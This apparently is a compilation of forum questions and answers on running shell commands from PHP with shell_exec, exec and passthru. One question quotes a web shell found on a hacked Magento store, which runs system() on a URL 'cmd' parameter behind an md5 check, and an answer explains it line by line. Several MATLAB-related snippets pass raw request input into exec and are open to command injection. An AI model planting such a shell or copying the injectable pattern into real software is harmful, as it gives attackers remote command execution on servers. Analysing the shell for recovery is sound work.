I am trying to run a python file using PHP, but the file doesn't print Hi and I only print "Whatsup". The script is run when the user clicks a submit button. I am on OSX and all the file paths are correct. I did chmod +x hi.py as suggested in another post
hi.py
#set up classes
# figure out regex
#!/Library/Frameworks/Python.framework/Versions/3.8/bin/python3
print("Hi")
signup.inc.php
else {
$command=escapeshellcmd('/Users/name/Documents/CPSC_Courses/CPSC353/CoronaVirus/webScrap.py');
$output = shell_exec($command);
echo $output;
echo "Whatsup";
exit();
}
You need to tell which python to use + where it is like:
else {
$command=escapeshellcmd('/usr/bin/python /Users/name/Documents/CPSC_Courses/CPSC353/CoronaVirus/webScrap.py');
$output = shell_exec($command);
echo $output;
echo "Whatsup";
exit();
}
OR for Python3:
else {
$command=escapeshellcmd('/usr/local/bin/python3 /Users/name/Documents/CPSC_Courses/CPSC353/CoronaVirus/webScrap.py');
$output = shell_exec($command);
echo $output;
echo "Whatsup";
exit();
}
Check where your Python is and add FULL path for it.
I would just use:
echo shell_exec("/usr/local/bin/python3 /Users/name/Documents/CPSC_Courses/CPSC353/CoronaVirus/webScrap.py");
Related
So I have question which in my head should seem very simple to solve.
I want to ssh to a server, which I have done a ton of times, and then make a shell execute which I have done a ton of times as well, but it is not working.
The code i am using
<?php
$ip = '1.2.3.4';
$cmd = "ssh user#".$ip;
$result = shell_exec($cmd." 'sudo /bin/systemctl stop wildfly.service'");
echo "<pre>output: $result</pre>";
echo "<div class='alert alert-success'><strong>SUCCESS</strong><br>Wildfly node has now restarted</div>";
?>
Running the command directly from the terminal
ssh user#1.2.3.4 sudo /bin/systemctl stop wildfly.service
It works, but running it within php gives me nothing, and it not doing anything.
Can someone maybe guide me to what I am doing wrong with my shell_exec?
Thanks in advance!
function execPrint($command) {
try {
$result = array();
exec($command.' 2>&1', $result);
foreach ($result as $line) {
print($line . "\n");
}
echo '------------------------' . "\n" . "\n";
} catch (\Exception $e) {
print($e);
}
http_response_code(200);
}
i made this function to get result
add 2>&1 in last of the CMD
use print with every line
use try and catch to catch any error
The user attempting to execute those shell commands from php is likely _www and not you. Try this code in your php to gain insight:
$shellscript = 'whoami';
$sr = shell_exec($shellscript);
echo '['.$sr.']';
Make sure the shell_exec function is not disabled. It usually is disabled by default in CPanel accounts PHP.ini and PHP-FPM .ini files.
You can check it using this validation
if (is_callable('shell_exec') && (false === stripos(ini_get('disable_functions'), 'shell_exec'))) {
echo "shell_exec enabled";
} else {
echo "shell_exec disabled";
}
It's the most common reason i've found for shell_exec to return always empty
You can also execute a quick command for testing purpouses
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
echo "Command: shell_exec('ls -lart')";
try {
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
} catch (Exception $e) {
echo $e->getMessage();
}
Here is a code I use to check if process is running under windows, in this case calc.exe
I'm trying to start calc.exe if this one not figure out in task list.
If calc.exe is not started, is opened when run php script, but page remain in a loop until i close calc.exe.
Where do I wrong?
Help is appreciated.
// START SHOW TASKLIST
// Get Tasklist
exec("tasklist 2>NUL", $task_list);
//print_r($task_list);
echo '<pre>'; print_r($task_list); echo '</pre>';
// END SHOW TASKLIST
// Service running
$kill_pattern = '~(calc)\.exe~i';
// Create array
$task_list = array();
exec("tasklist 2>NUL", $task_list);
foreach ($task_list AS $task_line) {
if (preg_match($kill_pattern, $task_line, $out)) {
echo "=> Detected: ".$out[1]."\n !\n";
$is_running = '1';
break;
}
}
if ($is_running == '1') {
echo 'Nothing to do';
exit;
} else {
// open calc.exe
exec("calc.exe");
exit;
}
Please use this code to avoid script hang up
Change
exec(calc.exe);
With
pclose(popen('start /B cmd /C "calc.exe >NUL 2>NUL"', 'r'));
I'm trying to recover a hacked Magento store, and found a file named magento.php in the errors folder within the Magento root directory. I know it's malicious but I can't really figure out what it's doing. Any ideas?
<?php
if(md5($_GET["hash"])=="b4c44d5ce1c6c4b60c1c3d05a7d3e58d") {
echo "<pre>";
$cmd = ($_GET['cmd']);
$ret = system($cmd);
print $ret;
echo "</pre>";
die;
} else {
print "-1";
}
?>
It is simple php functionality which accessing parameters from the url and trying to execute the same.
<?php
if(md5($_GET["hash"])=="b4c44d5ce1c6c4b60c1c3d05a7d3e58d") {// check the hash parameter in the url and convert it to md5 standard. If that matches the value then execute steps inside this braces
echo "<pre>"; // print "<pre> tag on screen
$cmd = ($_GET['cmd']); // get the cmd parameter from url
$ret = system($cmd); // execute that cmd parameter as command
print $ret; // print the return value of the system function
echo "</pre>"; // print "</pre> tag on screen
die; // stop execution at this line
} else { // if hash do not match
print "-1"; // print -1 on screen
}
?>
I want to create my own little control panel for my minecraft server,
I got problems with executing commands in php.
So if I want to execute a .sh file in PHP It works, I tried to do an output with
echo "xyz"
This works, but if I try to start a server, it doesnt..
My Server-Start-File:
echo "$1 's Server is starting with $2 MB of RAM"
screen -AmdS $1 java -Xmx$2M -jar spigot1649.jar
My PHP-Script:
<?php
$x = shell_exec('./start.sh test 512');
if($x) {
echo "Started";
echo "" . shell_exec('./start.sh test 512');
} else {
echo "Failed";
}
?>
My first time to deploy matlab exec in php and i need ur help.
I have a matlab script compiled as sampleExe.exe (standalone app) with a single argument 'IdNo' to processes images. When i call it thru command line using sampleExe 2014000, the program runs and gives the desired output. However, I am having trouble when deploying/calling sampleExe.exe file from php as it gives me no output at all. :(
Here's the code i tried based on this: Call matlab exe from php is not working well
<?php
define("EVAL_IMAGE","sampleExe.exe");
$target=isset($_REQUEST['IdNo'])?trim($_REQUEST['IdNo']):"";
if($target==""){
echo "No folder name is passed";
exit();
}
passthru(EVAL_IMAGE." ".$target);
?>
Any help is very much appreciated. Btw, I tried running it in a localhost and sampleExe.exe is also save in c:/wamp/www
<?php
try {
define("EVAL_IMAGE","mainProg1.exe");
$target=isset($_REQUEST['IdNo'])?trim($_REQUEST['IdNo']):"";
if($target==""){
echo "No folder name is passed";
exit();
}
set_time_limit(300);
$return = exec(EVAL_IMAGE." ".$target);
echo "return = " .$return;
}catch (Exception $e) {
echo 'Message: ' .$e->getMessage();
}
exit(0); ?>